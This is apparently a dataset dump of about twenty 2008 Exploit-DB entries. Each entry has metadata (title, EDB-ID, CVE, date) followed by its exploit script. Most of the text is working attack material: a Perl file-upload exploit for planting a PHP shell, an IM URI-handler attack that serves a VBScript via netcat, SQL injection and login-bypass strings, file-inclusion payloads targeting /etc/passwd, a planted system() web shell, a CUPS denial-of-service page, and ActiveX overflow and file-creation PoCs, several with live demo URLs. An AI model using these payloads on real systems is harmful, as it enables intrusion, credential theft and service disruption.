QLWD/code_shield huggingface dataset:
标题: wPortfolio 0.3 - Arbitrary File Upload EDB-ID: 7165 CVE: 2008-5220 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-19 漏洞利用脚本: #!/usr/bin/perl

# Name: wPortfolio <= 0.3 Arbitrary File Upload Exploit
# Script Name: wPortfolio 0.3
# Download: http://sourceforge.net/project/downloading.php?group_id=244834&use_mirror=kent&filename=wPortfolio.zip&80791070
# Vulnerability: Arbitrary File Upload
# Vulnerable page: /admin/upload_form.php
# * You can upload everything you want, why not a php shell? ^^
# Author: Osirys
# Contact: osirys[at]live[dot]it
# Proud to be Italian 
# Thx: athos

use LWP::UserAgent;
use HTTP::Request::Common;

my $path        = "/admin/upload_form.php";
my $d_fold      = "/admin/tmp/"; 
my($host,$file) = ($ARGV[0],$ARGV[1]);

($host,$file) || help("-1");
cheek($host) == 1 || help("-2");
&banner;
my $url = $host.$path;

my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url,
                      Content_Type => 'form-data',
                      Content      => [file_to_upload => [$file]] 
                      );

if ($re->is_success) {
    print "[+] Uploaded ! \n";
    print "[+] Link: ".$host.$d_fold.$file." \n";
}
else {
    print "[-] Upload failed ! \n";
}

sub cheek() {
    my $host = $_[0];
    if ($host =~ /http:\/\/(.*)/) {
        return 1;
    }
    else {
        return 0;
    }
}

sub banner {
    print "\n".
          "  ========================================== \n".
          "     wPortfolio 0.3 Arbitrary File Upload \n".
          "     Author: Osirys \n".
          "     osirys[at]live[dot]it \n".
          "     Proud to be italian \n".
          "  ========================================== \n\n";
}

sub help() {
    my $error = $_[0];
    if ($error == -1) {
        &banner;
        print "\n[-] Cheek that you typed the hostname address and the local file to upload !\n";
    }
    elsif ($error == -2) {
        &banner;
        print "\n[-] Bad hostname address !\n";
    }
    print "[*] Usage : perl $0 http://hostname/cms_path local_file_to_upload \n\n";
    exit(0);
}

# milw0rm.com [2008-11-19] URL: https://www.exploit-db.com/exploits/7165
标题: Exodus 0.10 - URI Handler Arbitrary Parameter Injection (2) EDB-ID: 7167 CVE: 2008-6937 2008-6936 2008-6935 类型: REMOTE 平台: WINDOWS 发布日期: 2008-11-20 漏洞利用脚本: <!--
Exodus v0.10 remote code execution exploit
by Nine:Situations:Group::strawdog

This uses the "-l" argument to overwrite a file
inside Microsoft Help and Support Center folders (oh rgod...)

Firstly run netcat in listen mode to drop the vbscript shell
run this script:

@echo off
rem dropsh.cmd
echo ^<SCRIPT LANGUAGE="VBScript"^> > testfile
echo Dim wshShell >> testfile
echo Set wshShell = CreateObject("WScript.Shell") >> testfile
echo wshShell.Run("cmd /c start calc") >> testfile
echo ^</SCRIPT^> >> testfile
nc -L -s 192.168.0.1 -p 5222 -vv < testfile

-->
<html>
<head>
<script type="text/javascript">
<!--
function doRedirect() {
location.href = "hcp://system/sysinfo/msinfo.htm";
}
function runcalc() {
window.setTimeout("doRedirect()", 10000);
}
//-->
</script>
<a href="im:///'%20-l%20C:\WINDOWS\PCHEALTH\HELPCTR\System\sysinfo\msinfo.htm%20-j%20strawdog@192.168.0.1%20-p%20AAAA%20%00" onClick="runcalc()">click me</a><br>
<a href="pres:///'%20-l%20C:\WINDOWS\PCHEALTH\HELPCTR\System\sysinfo\msinfo.htm%20-j%20strawdog@192.168.0.1%20-p%20AAAA%20%00" onClick="runcalc()">click me</a>
</html>

# milw0rm.com [2008-11-20] URL: https://www.exploit-db.com/exploits/7167
标题: E-topbiz Link Back Checker 1 - Insecure Cookie Handling EDB-ID: 7156 CVE: 2008-6307 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-18 漏洞利用脚本: -=================================================-
Autore: x0r
Bug: Insecure Cookie Handling
Cms: E-TopBiz Link Back Checker 1
-================================================-

Exploit:

javascript:document.cookie="auth=admin; path=/";

Live Demo:
http://e-topbiz.com/trafficdemos/linkback1/admincontrol/login.php

Greetz: Grazie alla persona che mi ha cambiato la vita, amore sto parlando
dite, sei il mio angelo custode ti amo troppo 8\10\08 PER SEMPRE.

EoF

# milw0rm.com [2008-11-18] URL: https://www.exploit-db.com/exploits/7156
标题: Exodus 0.10 - URI Handler Arbitrary Parameter Injection (1) EDB-ID: 7145 CVE: 2008-6937 2008-6936 2008-6935 类型: REMOTE 平台: WINDOWS 发布日期: 2008-11-17 漏洞利用脚本: --------------------------------------------------------------------------------
Exodus v0.10 uri handler arbitrary parameter injection
by Nine:Situations:Group::strawdog
tested against IE8b/xpsp3
may not work against non-English systems because of an installation bug
--------------------------------------------------------------------------------
software site: http://code.google.com/p/exodus/
description:
Exodus is a free software instant messaging client developed by Peter
Millard and written in Borland Delphi that can connect to Jabber servers
and exchange messages with other Jabber users. Currently, binaries are
only available for Microsoft Windows. Exodus was designed as the official
successor of the Winjab client, as Winjab was a personal project that
was becoming too difficult to maintain[..]
--------------------------------------------------------------------------------

reg key:
HKEY_CLASSES_ROOT\im\shell\Open\command
C:\Program Files\Exodus\Exodus.exe -u '%1'
--------------------------------------------------------------------------------
it's possible to inject arbitrary command line parameters, ex. this shows
the argument list:
im:///'%20-?

this overwrites an arbitrary file:
im:///'%20-l%20c:\boot.ini%20-v

now boot.ini looks like this:
[2008-11-17 13.50.41.437]  Trying to setup the Auto Away timer.
[2008-11-17 13.50.41.453]  Using Win32 API for Autoaway checks!!
--------------------------------------------------------------------------------
todo:
investigate this even:
im:///'%20-c%20[A*300]

this will cause an infinite loop trough multiple unhandled exceptions
and this:
im:///'%20-c%20file:///aaaa%20
crash exodus.exe
--------------------------------------------------------------------------------
our site ---------------------------------------> http://retrogod.altervista.org

# milw0rm.com [2008-11-17] URL: https://www.exploit-db.com/exploits/7145
标题: Free Directory Script 1.1.1 - 'API_HOME_DIR' Remote File Inclusion EDB-ID: 7155 CVE: 2008-6305 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-18 漏洞利用脚本: ####################################################################################################
# Directory v1.1.1 (API_HOME_DIR) RFI Vulnerablity                                                 #
# Â© Ghost Hacker , Real Hack Back :)                                                               #
####################################################################################################
#[~] Author : Ghost Hacker                                                                         #
#[~] Homepage : www.Real-h.com  [Real Hack Back]                                                   #
#[~] Contact Me : Ghost-r00t[at]Hotmail[dot]com                                                    #
#[~] Bug : RFI                                                                                     #
#[~] From : Kingdom Saudi Arabia                                                                   #
#[~] Name Script : Directory v1.1.1                                                                #
#[~] Download : http://www.freedirectoryscript.com/download/fds-v111-rc.zip                        #
####################################################################################################
#[~] Exploit :                                                                                     #
# init.php?API_HOME_DIR=Evil_Code                                                                  #
####################################################################################################
#[~]GreetZ :                                                                                       #
# Mr.SaFa7 , Mr-3sheq , aBo3tB , Night Mare , Root Hacker , Dmar al3noOoz                          #
# Mr.MN7oS , Mr.Hope , Scary.Hacker , Qabandi , v4-team.com                                        #
# All Members Real Hack , All My Friends :)                                                        #
####################################################################################################
# Viva Real Hack - Real-h.com ..                                                                   #
####################################################################################################

# milw0rm.com [2008-11-18] URL: https://www.exploit-db.com/exploits/7155
标题: SaturnCMS - Blind SQL Injection EDB-ID: 7147 CVE: 2008-6263 2008-6262 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-17 漏洞利用脚本: SaturnCMS (view)  Blind SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :IQ-SecuriTY >   www.IQ-TY.com   |  TrYaG > www.TrYaG.cc

Mail :  darkangel_G85@yahoo.com

___________________________________

script  : http://www.saturncms.com/download

Demo :
_______

http://demo.saturncms.com/gallery/web/view/22`

true & false

http://demo.saturncms.com/gallery/web/view/22+and+substring(@@version,1,1)=5
http://demo.saturncms.com/gallery/web/view/22+and+substring(@@version,1,1)=4
Version = 5  :) 
Table
http://demo.saturncms.com/gallery/web/view/22+and+(SELECT 1 from mysql.user limit 0,1)=1


Auth Bypass
_______

http://demo.saturncms.com/admin
Username : admin ' or 1=1

Password : milw0rm







____________________________( Greetz )_________________________________
|
|   All members of the Forum| WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | Sakab
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | G4N0K|
|_____________________________________________________________________


                             IM IraQi    |       IM TrYaGI 

# milw0rm.com [2008-11-17] URL: https://www.exploit-db.com/exploits/7147
标题: Pluck CMS 4.5.3 - 'g_pcltar_lib_dir' Local File Inclusion EDB-ID: 7153 CVE: 2008-6253 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-18 漏洞利用脚本: Hello, bugtraq.

Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-039


Application:                    Pluck CMS
Versions Affected:              4.5.3
Vendor URL:                     http://www.pluck-cms.org/
Bug:                            Local File Include
Exploits:                       YES
Reported:                       25.08.2008
Vendor Response:                30.08.2008
Solution:                       YES 
Date of Public Advisory:        18.11.2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Pluck CMS has Local File Include vulnerability. 



Details
*******

1. Local File Include vulnerability found in script data/inc/lib/pcltar.lib.php

Successful exploitation requires that "register_globals" is enabled.

Code
----
#################################################

  if (!isset($g_pcltar_lib_dir))
    $g_pcltar_lib_dir = "lib";

...

  $g_pcltar_extension = "php";

  if (!defined("PCLERROR_LIB"))
  {
    include("data/inc/$g_pcltar_lib_dir/pclerror.lib.$g_pcltar_extension");
  }
  if (!defined("PCLTRACE_LIB"))
  {
    include("data/inc/$g_pcltar_lib_dir/pcltrace.lib.$g_pcltar_extension");
  }

#################################################

Example:

http://[server]/[installdir]/data/inc/lib/pcltar.lib.php?g_pcltar_lib_dir=../../../../../../../../../../../../../etc/passwd%00



Solution
********
Vendor fix this flaw on 09.08.2008. New version of Pluck CMS 4.6 can be download here:


http://www.pluck-cms.org/downloads/click.php?id=8



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsec [dot] ru
            http://www.dsec.ru (in Russian)

# milw0rm.com [2008-11-18] URL: https://www.exploit-db.com/exploits/7153
标题: PHPfan 3.3.4 - 'init.php' Remote File Inclusion EDB-ID: 7143 CVE: 2008-6251 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-17 漏洞利用脚本: ************************(remote file include)*****************

script: phpfan 3.3.4
   
***************************************************************************
download from:http://ishallnotcare.org/mint/pepper/tillkruess/downloads/tracker.php?url=http%3A//scriptsextra.ishallnotcare.org/phpfanbasic334.zip 
   
***************************************************************************
............................................................................
vul:
<?php

 if (!isset($loaded))
 {
  include_once $includepath .'/functions.php';
line 6:.> include_once $includepath .'/debug.php';
   
xpl:
   
http://site.com/path/includes/init.php?includepath=shell?

***************************************************
***************************************************

Author: ahmadbady from http://www.deltahacking.net

my mail: kivi_hacker666@yahoo.com


***************************************************

# milw0rm.com [2008-11-17] URL: https://www.exploit-db.com/exploits/7143
标题: Simple Customer 1.2 - Authentication Bypass EDB-ID: 7146 CVE: 2008-6332 2008-6326 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-17 漏洞利用脚本: ###############################################################################################
[-] Simple Customer  1.2 Remort (Auth bypass) SQL Injection Vulnerability
[-] Discovered By : d3b4g        
[-] Greetz : All my freind         
################################################################################################
 Go to www.target.com[path]login.php

 Use following information to bypass login.

 Write any email Address as email address.It must to be in email format like somethin@something.com

 For exapmple letmein@inbox.com

 For password use ' or ' 1=1

  Live demo [at] http://www.simplecustomer.com/demo/login.php
--------------------------------------------
--------------------------------------------

# milw0rm.com [2008-11-17] URL: https://www.exploit-db.com/exploits/7146
标题: Jadu Galaxies - 'categoryId' Blind SQL Injection EDB-ID: 7144 CVE: 2008-6254 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-17 漏洞利用脚本: [~] powered by JaduÂ® Galaxies blind sql inj
[~]
[~] documents.php (categoryID) blind sql inj
[~]
[~]----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 17.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] my bug number now: 45
[~]
[~] my target bug number: 100
[~]
[~] N0T: a.q bide kpss calIscaktIm : ( (
[~]
[~] -----------------------------------------------------------

exploit for demo:

http://www.jadu.co.uk/galaxies/site/scripts/documents.php?categoryID=2+and+substring(@@version,1,1)=4 ( true )

http://www.jadu.co.uk/galaxies/site/scripts/documents.php?categoryID=2+and+substring(@@version,1,1)=3 ( false )

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-17] URL: https://www.exploit-db.com/exploits/7144
标题: CUPS 1.3.7 - Cross-Site Request Forgery (Add RSS Subscription) Remote Crash EDB-ID: 7150 CVE: 2008-5183 类型: DOS 平台: LINUX 发布日期: 2008-11-18 漏洞利用脚本: <!-- cat cups_dos_poc.html  -->
<script>
// make 101 CSRFed requests to CUPS daemon via 'img' tags
// causes CUPS daemon to crash
// by Adrian 'pagvac' Pastor | GNUCITIZEN.org

for(var i=1;i<=101;++i) {
    document.write("<img width=0 height=0 " +
        "src=\"http://localhost:631/admin/?OP=add-rss-subscription&SUBSCRIPTION_NAME=DOS_TEST_" +
        i + "&PRINTER_URI=%23ALL%23&EVENT_JOB_CREATED=on&MAX_EVENTS=20\">");
}

/*
TESTED ON:

Ubuntu 8.04.1 (fully patched as of 19th Oct 2008)
Linux 2.6.24-21-generic #1 SMP Mon Aug 25 17:32:09 UTC 2008 i686 GNU/Linux

openSUSE 11.0 (i586)
Linux 2.6.25.5-1.1-default #1 SMP 2008-06-07 01:55:22 +0200 i686 i686 i386 GNU/Linux

Common UNIX Printing System 1.3.7
*/
</script>

# milw0rm.com [2008-11-18] URL: https://www.exploit-db.com/exploits/7150
标题: Chilkat Socket ActiveX 2.3.1.1 - Arbitrary File Creation EDB-ID: 7142 CVE: 2008-6959 类型: REMOTE 平台: WINDOWS 发布日期: 2008-11-17 漏洞利用脚本: <html>
<title>ChilkatSocket.DLL Arbitrary File Creation</title><br><br>
<body>
Company Name         : Chilkat Software, Inc.<br><br>
Vulnerable DLL       : ChilkatSocket.DLL<br><br>
DLL's version        : 2,3,1,1<br><br>
Object Safety Report : <br>
Report for Clsid: {474FCCCD-1B89-4D34-9E09-45807F23289C}<br>
RegKey Safe for Script: Faux<br>
RegKey Safe for Init: Faux<br>
Implements IObjectSafety: Vrai<br>
IDisp Safe:  Safe for untrusted: caller,data<br>  
IPersist Safe:  Safe for untrusted: caller,data <br> 
IPStorage Safe:  Safe for untrusted: caller,data  <br>
 
Exploit         : Arbitrary File Creation<br><br> 
Author          : Underz0ne Crew<br>
                  Zigma<br>
Homepage        : http://www.underz0ne.org<br><br>

<object classid='clsid:474FCCCD-1B89-4D34-9E09-45807F23289C' id='boom' ></object>
<script language='vbscript'>
arg1="c:\winnt\uz_.exe"
boom.SaveLastError arg1 
</script>
</body>
<html>

# milw0rm.com [2008-11-17] URL: https://www.exploit-db.com/exploits/7142
标题: E-topbiz ADManager 4 - 'group' Blind SQL Injection EDB-ID: 7138 CVE: 2008-6261 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-17 漏洞利用脚本: E-topbiz  AdManager 4 (group)  Blind SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script  : http://e-topbiz.com/oprema/pages/admanager4.php

Demo :
_______
true & false

http://e-topbiz.com/trafficdemos/admanager4/view.php?group=4+and%20substring(@@version,1,1)=4
http://e-topbiz.com/trafficdemos/admanager4/view.php?group=4+and%20substring(@@version,1,1)=5

Version = 4  :) 





____________________________( Greetz )_________________________________
|
|   All members of the Forum| WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | Sakab
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | G4N0K|
|_____________________________________________________________________


                   Im IRAQi    |    Im TrYaGi

# milw0rm.com [2008-11-17] URL: https://www.exploit-db.com/exploits/7138
标题: FREEze Greetings 1.0 - Remote Password Retrieve EDB-ID: 7140 CVE: 2008-5218 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-17 漏洞利用脚本: <?php

/**
* FREEze Greetings 1.0 Remote Password Retrieve Exploit
* Exploit by cOndemned 
*
* Greetz : suN8Hclf, 0in, m4r1usz, str0ke, rtgn, doctor, sid.psycho [...]
* Special thx to ZaBeaTy for developing such a sexy regexp ;) Thx m8 
*/

echo <<< Header

[~] FREEze Greetings 1.0 Remote Password Retrieve Exploit
[~] Exploit by cOndemned [ Prints decoded admin password ]

Header;

if($argc != 2) printf("[~] Usage : php %s <target_with_path>\r\n\r\n", $argv[0]) and exit;

$out = (preg_match('!^([^ ]+)$!sei', file_get_contents($argv[1] . '/pwd.txt'), $r) && preg_match('!^([^\|\|]+)\|\|!sei', base64_decode($r[1]), $pass))
 ? sprintf("Password : %s", base64_decode($pass[1])) : 'Exploitation failed';

printf("[~] %s \r\n\r\n", $out);

?>

# milw0rm.com [2008-11-17] URL: https://www.exploit-db.com/exploits/7140
标题: OpenASP 3.0 - Blind SQL Injection EDB-ID: 7137 CVE: 2008-6257 类型: WEBAPPS 平台: ASP 发布日期: 2008-11-17 漏洞利用脚本: /*   
    OpenASP <= 3.0 Blind SQL Injection Vulnerability
    -----------------------------------------------------
    by athos - staker[at]hotmail[dot]it 
    thanks XaDoS,anyway i've found another sql injection 
    http://openasp.it
    -----------------------------------------------------
    
    default.asp?modulo=pages&idpage=1 or 1=1 (true)
    default.asp?modulo=pages&idpage=1 or 1=2 (false)
    default.asp?modulo=pages&idpage=-1 and substring(@@version,1,1)=4/*
    
*/

# milw0rm.com [2008-11-17] URL: https://www.exploit-db.com/exploits/7137
标题: PHPstore Wholesale - 'id' SQL Injection EDB-ID: 7134 CVE: 2008-5493 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-16 漏洞利用脚本: |___________________________________________________
|
| Wholesale ( track.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85@Yahoo.com
|
|___________________________________________________
|
| script :  http://www.phpstore.info/product_info.php?cPath=36_53&products_id=162
|
| DorK   : inurl:"track.php?id="
|___________________________________________________

Exploit:
________



www.[target].com/Script/track.php?id=-2+union+select+concat(username,0x3e,password)+FROM+admin--



Demo
________

http://phpstore.info/demos/wholesale/track.php?id=-2+union+select+concat(username,0x3e,password)+FROM+admin--




____________________________( Greetz )_________________________________
|
|   All members of the Forum| WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ |  IRAQ_JAGUR | Cyber-Zone | Sakab
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | CraCkEr |  G4N0K
|_____________________________________________________________________


                   Im IRAQi    |    Im TrYaGi

# milw0rm.com [2008-11-16] URL: https://www.exploit-db.com/exploits/7134
标题: Microsoft Windows - SmbRelay3 NTLM Replay (MS08-068) EDB-ID: 7125 CVE: 2008-4037 类型: REMOTE 平台: WINDOWS 发布日期: 2008-11-14 漏洞利用脚本: * SMBRELAY 3 - NTLM replay attack (version 1.0 ) public version
* (c) 2008 Andres Tarasco AcuÃ±a ( atarasco _at_ gmail.com )
* URL: http://tarasco.org/Web/tools.html

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/7125.zip (2008-smbrelay3.zip)

# milw0rm.com [2008-11-14] URL: https://www.exploit-db.com/exploits/7125
标题: mxCamArchive 2.2 - Bypass Configuration Download EDB-ID: 7136 CVE: 2008-6956 2008-6955 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-17 漏洞利用脚本: ************************(Bypass Config Download Vulnerability)*****************

script: mxcamarchive 2.2
                   
***************************************************************************
download from:http://www.infireal.com/media/serve/106/mxcamarchive2.2.zip  
                                                                                                         
***************************************************************************
...........................................................................
expl:
                                                     
http://site.com/path/archive/config.ini

and login
http://site.com/path/admin


and add new web cam
and Description   '<pre><?@system($_REQUEST["h"]);?></body></pre>'
and save


now:
http://site.com/path/index.php?h=ls -la

***************************************************
***************************************************

Author: ahmadbady  from http://www.deltahacking.net

my mail: kivi_hacker666@yahoo.com


***************************************************

# milw0rm.com [2008-11-17] URL: https://www.exploit-db.com/exploits/7136
标题: VeryPDF PDFView - OCX ActiveX OpenPDF Heap Overflow (PoC) EDB-ID: 7126 CVE: 2008-5492 类型: DOS 平台: WINDOWS 发布日期: 2008-11-15 漏洞利用脚本: <!--
VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow

Discovered & Written By:
r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)

Advisory: http://www.bmgsec.com.au/advisory/39/
---------------------------------------------------
Tested on: WinXP Pro SP2

Version: 2.0.0.1
GUID: {433268D7-2CD4-43E6-AA24-2188672E7252}

RegKey Safe for Script: True
RegKey Safe for Init: True

EAX 0003C910 ASCII "AAAAAAAAA""
ECX 000301D0
EDX 00000040
EBX 41414141
ESP 0013B8D8
EBP 0013BAF4
ESI 0003C908 ASCII "AAAAAAAAAAAAAAAAA""
EDI 41414141
EIP 7C91B3FB ntdll.7C91B3FB
-->

<object classid='clsid:433268D7-2CD4-43E6-AA24-2188672E7252' id='target'></object>

<script language='vbscript'>
 Sub Boom
    buff = String(1006, "A")
    target.OpenPDF buff, 1, 1

 End Sub
</script>
<input type=button onclick=Boom() value='Boom?'>

# milw0rm.com [2008-11-15] URL: https://www.exploit-db.com/exploits/7126